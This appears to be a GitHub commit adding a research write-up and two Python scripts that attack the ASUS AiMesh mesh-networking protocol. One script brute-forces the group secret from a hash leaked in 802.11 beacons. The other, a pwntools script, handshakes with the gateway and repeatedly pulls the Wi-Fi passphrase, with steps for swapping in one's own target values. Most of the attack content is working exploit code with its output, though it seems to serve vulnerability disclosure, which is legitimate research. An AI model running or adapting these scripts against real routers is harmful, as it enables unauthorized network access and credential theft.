-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
5 changed files
with
281 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
# ASUS AiMesh Attack | ||
## Intro | ||
In this write-up, we use ASUS XT8 HW Ver: 1.0, firmware version 3.0.0.4.388_24609 as an illustration example. | ||
|
||
The ASUS AiMesh protocol is one kind of upper-layer NAPS protocol. In its original version, it combined "group_id"/"cfg_group" with random nonces (Ns and Nc) to encrypt TCP payloads. | ||
|
||
Thus, the key to breaking this protocol is that an attacker should get/steal the value of "group_id"/"cfg_group" through some means. Luckily, we spot a cross-layer key leakage: a special hash value of "group_id"/"cfg_group" is leaked at 802.11 link layer. | ||
|
||
## Attack Step 1: Collect "group_id"/"cfg_group" hashes | ||
|
||
![](./cfg_group_leak.png) | ||
|
||
First, collect some 802.11 beacon frames from fronthaul links of the XT8 mesh network. Scroll down to the vendor specific information for "ASUSTek". Take out the 0x14 bytes after "\x03\x14": "\x03\xed\x8e\xd7\x51\xeb\x51\x31\x03\x6a\x14\x70\x10\x34\x38\x0c\x66\xfc\x7a\xc9". | ||
|
||
The last 4 bytes "\x66\xfc\x7a\xc9" is T(pub), the first 0x10 bytes is H(GID), as illustrated in the paper. | ||
|
||
We query the ARP cache to obtain the MAC address of the gateway 192.168.50.1 to be "04:42:1A:B4:C1:B0". We thus use the following python3 script to enumerate all possible values of T~pub. Download the file at [here](./compute_Tpri.py) | ||
|
||
After running this script, we obtain "found: 1718158561". This is the value of T~pri. We thus reconstruct cfg_group: | ||
|
||
`➜ ~ md5 -s 04:42:1A:B4:C1:B0_1718158561 | ||
633ed873722e542e6ccb037737a38c5d` | ||
|
||
"633ed873722e542e6ccb037737a38c5d" is the correct value of "cfg_group" stored in mesh nodes' NVRAM. | ||
|
||
## Attack Step 2: Use guessed "cfg_group" to pull access policies from the gateway | ||
Finally, we put such "cfg_group" value in the script below to pull Wi-Fi passphrases continuously. Download the file at [here](./asus_pull_wifi_passphrase.py) | ||
|
||
Install dependencies as needed. | ||
|
||
Change the hard-coded gateway IP address 192.168.50.1 to your own address. | ||
|
||
Change the "cfg_group" value of "633ED873722E542E6CCB037737A38C5D" to your own value. | ||
|
||
Change "04:42:1A:C8:3E:30" to an existing extender node's MAC address. | ||
|
||
As we can see, the Wi-Fi passphrase is "nullRiver1": | ||
|
||
![](./asus_pull_passphrase_result.png) | ||
|
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,216 @@ | ||
from pwn import * | ||
from Crypto.PublicKey import RSA as rsa | ||
from Crypto.Cipher import PKCS1_v1_5 | ||
from Crypto.Cipher import AES | ||
from Crypto.Util.Padding import pad, unpad | ||
import base64 | ||
import hashlib | ||
import time | ||
|
||
BLOCK_SIZE = 32 # Bytes | ||
|
||
crc32_table =[ | ||
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, | ||
0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, | ||
0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, | ||
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, | ||
0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, | ||
0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, | ||
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, | ||
0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, | ||
0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, | ||
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, | ||
0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, | ||
0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, | ||
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, | ||
0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, | ||
0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, | ||
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, | ||
0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, | ||
0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, | ||
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, | ||
0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, | ||
0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, | ||
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, | ||
0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, | ||
0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, | ||
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, | ||
0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, | ||
0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, | ||
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, | ||
0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, | ||
0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, | ||
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, | ||
0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, | ||
0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, | ||
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, | ||
0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, | ||
0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, | ||
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, | ||
0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, | ||
0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, | ||
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, | ||
0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, | ||
0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, | ||
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, | ||
0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, | ||
0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, | ||
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, | ||
0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, | ||
0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, | ||
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, | ||
0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, | ||
0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, | ||
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, | ||
0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, | ||
0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, | ||
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, | ||
0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, | ||
0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, | ||
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, | ||
0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, | ||
0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, | ||
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, | ||
0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, | ||
0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, | ||
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D] | ||
|
||
def crc32(binaries): | ||
crc = 0 | ||
index = 0 | ||
while index < len(binaries): | ||
crc = crc32_table[(crc & 0xFF) ^ binaries[index]] ^ (crc//256) | ||
index = index + 1 | ||
return crc | ||
|
||
context.endian = "big" | ||
context.log_level = "DEBUG" | ||
|
||
p = remote("192.168.50.1", 7788) # connect to server | ||
|
||
# ---- cm_processREQ_KU ---- | ||
print("[*] Get public key...") | ||
opcode = 0x1 | ||
tlv_len = 0x1 | ||
tlv_crc = 0x0 | ||
tlv = b"\x00" | ||
REQ_KU = p32(opcode) + p32(tlv_len) + p32(tlv_crc) + tlv # request for public key | ||
p.send(REQ_KU) | ||
p.recv(12) # skip header | ||
public_key = p.recv()[:-1].decode() | ||
print(public_key) | ||
f = open("./public.rsa", "w") | ||
f.write(public_key) | ||
f.close() | ||
p.close() | ||
# -------------------------- | ||
|
||
# ---- create tlv data ---- | ||
banner1 = 0x1 | ||
data1_len = 32 # aes256 | ||
aes_key = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" # we select an AES master key to use. | ||
aes_crc = crc32(aes_key) & 0xffffffff | ||
|
||
banner2 = 0x3 | ||
data2_len = 0x8 | ||
data2 = b"b" * 0x8 # This is client nonce. | ||
data2_crc = crc32(data2) & 0xffffffff | ||
tlv = p32(banner1) + p32(data1_len) + p32(aes_crc) + aes_key + p32(banner2) + p32(data2_len) + p32(data2_crc) + data2 | ||
# # # ------------------------- | ||
|
||
# # # ---- rsa encrypt ---- | ||
with open('./public.rsa') as f: | ||
key = f.read() | ||
pubobj = rsa.importKey(key) | ||
pubobj = PKCS1_v1_5.new(pubobj) | ||
enc_text = pubobj.encrypt(tlv) | ||
# # # --------------------- | ||
|
||
# # # ---- create payload data ---- | ||
tlv_len = len(enc_text) | ||
tlv_crc = crc32(enc_text) | ||
payload = p32(tlv_len) + p32(tlv_crc) + enc_text | ||
# # # ----------------------------- | ||
|
||
# # # ---- cm_processREQ_NC ---- | ||
opcode = 0x3 | ||
data = p32(opcode) + payload | ||
p = remote("192.168.50.1", 7788) | ||
p.send(data) | ||
p.recv(12) # skip header | ||
aes_enc_data = p.recv() | ||
print("aes_enc_data: ", aes_enc_data) | ||
# p.close() | ||
# # -------------------------- | ||
|
||
# # # ---- aes decrypt ---- | ||
def aes_decode(data, key): | ||
aes = AES.new(key, AES.MODE_ECB) | ||
decrypted_text = aes.decrypt(data) | ||
return decrypted_text | ||
|
||
server_nonce_data2 = aes_decode(aes_enc_data, str.encode("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")) | ||
print("server_nonce_data2:", server_nonce_data2) | ||
server_nonce = server_nonce_data2[12:12 + 32] | ||
print("server_nonce:", server_nonce) | ||
custom_data = b"bbbbbbbb" | ||
_hash = hashlib.sha256() | ||
_hash.update(b"633ED873722E542E6CCB037737A38C5D" + server_nonce + custom_data) # session key algo is proved to be correct. the binary string is "nvram get cfg_group" | ||
session_key = _hash.hexdigest() | ||
print("session_key:", session_key) | ||
print("session_key type:", type(session_key)) | ||
# # --------------------- | ||
|
||
# # ---- cm_processREP_OK ---- | ||
opcode = 0x5 | ||
payload = p32(opcode) + p32(0) + p32(0) | ||
p.send(payload) # if server return 0x6000000, means success. | ||
res = u32(p.recv(4)) | ||
if res != 6: | ||
print("[-] Error: handshake failed.") | ||
exit(0) | ||
print("[+] Handshake successed.") | ||
p.recv() | ||
# p.close() | ||
# -------------------------- | ||
|
||
# ----cm_processREQ_JOIN ---- | ||
def aes_encode(data, key): | ||
aes = AES.new(key, AES.MODE_ECB) # AES.new accepts key as type bytes.fromhex. | ||
return aes.encrypt(data) | ||
|
||
opcode = 0xf | ||
_payload = b"{\"mac\": \"04:42:1A:C8:3E:30\"}" | ||
_rop = aes_encode(pad(_payload, BLOCK_SIZE), bytes.fromhex(session_key)) | ||
|
||
tlv_len = len(_rop) | ||
tlv_crc = crc32(_rop) | ||
payload = p32(opcode) + p32(tlv_len) + p32(tlv_crc) + _rop | ||
p.send(payload) | ||
p.recv(12) # skip header | ||
aes_enc_data = p.recv() | ||
print("session_key type:", type(session_key)) | ||
aes_decode_using_session_key = aes_decode(aes_enc_data, bytes.fromhex(session_key)) | ||
print("aes_decode_using_session_key:", aes_decode_using_session_key) | ||
p.close() | ||
|
||
while (True): | ||
try: | ||
p = remote("192.168.50.1", 7788) | ||
opcode = 0x8 | ||
_payload = b'{"mac": "04:42:1A:C8:3E:30", "cfg_ver": 13184026}' | ||
_rop = aes_encode(pad(_payload, BLOCK_SIZE), bytes.fromhex(session_key)) | ||
|
||
tlv_len = len(_rop) | ||
tlv_crc = crc32(_rop) | ||
payload = p32(opcode) + p32(tlv_len) + p32(tlv_crc) + _rop | ||
p.send(payload) | ||
p.recv(12) | ||
aes_enc_data = p.recv() | ||
aes_decode_using_session_key = aes_decode(aes_enc_data, bytes.fromhex(session_key)) | ||
print("aes_decode_using_session_key:", aes_decode_using_session_key) | ||
p.close() | ||
time.sleep(0.5) | ||
except Exception as e: | ||
print("decrypt failed") | ||
|
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
import hashlib | ||
import os | ||
import signal | ||
from multiprocessing import Pool | ||
|
||
_MAC = '04:42:1A:B4:C1:B0' | ||
_TIMESTAMP = 0x66fc7ac9 | ||
_HASH = bytes.fromhex('03ed8ed751eb5131036a14701034380c') | ||
group_id_pre_hash = hashlib.md5((_MAC + "_").encode()) | ||
timestamp_pre_hash = (_TIMESTAMP << 96) + (_TIMESTAMP << 64) + (_TIMESTAMP << 32) + _TIMESTAMP | ||
|
||
def check(number): | ||
number_str = str(number) | ||
group_id = group_id_pre_hash.copy() | ||
group_id.update(number_str.encode()) | ||
hash_result = (int.from_bytes(group_id.digest(), 'big') & timestamp_pre_hash).to_bytes(16, 'big') | ||
hash_result = hashlib.sha256(hash_result).digest()[0:16] | ||
if hash_result == _HASH: | ||
print('found:', number_str) | ||
os.kill(os.getppid(), signal.SIGTERM) | ||
|
||
if __name__ == '__main__': | ||
with Pool(os.cpu_count()) as p: | ||
signal.signal(signal.SIGTERM, lambda sig, _: exit(0)) | ||
p.map(check, range(1600000000, 1800000000), chunksize=20000) |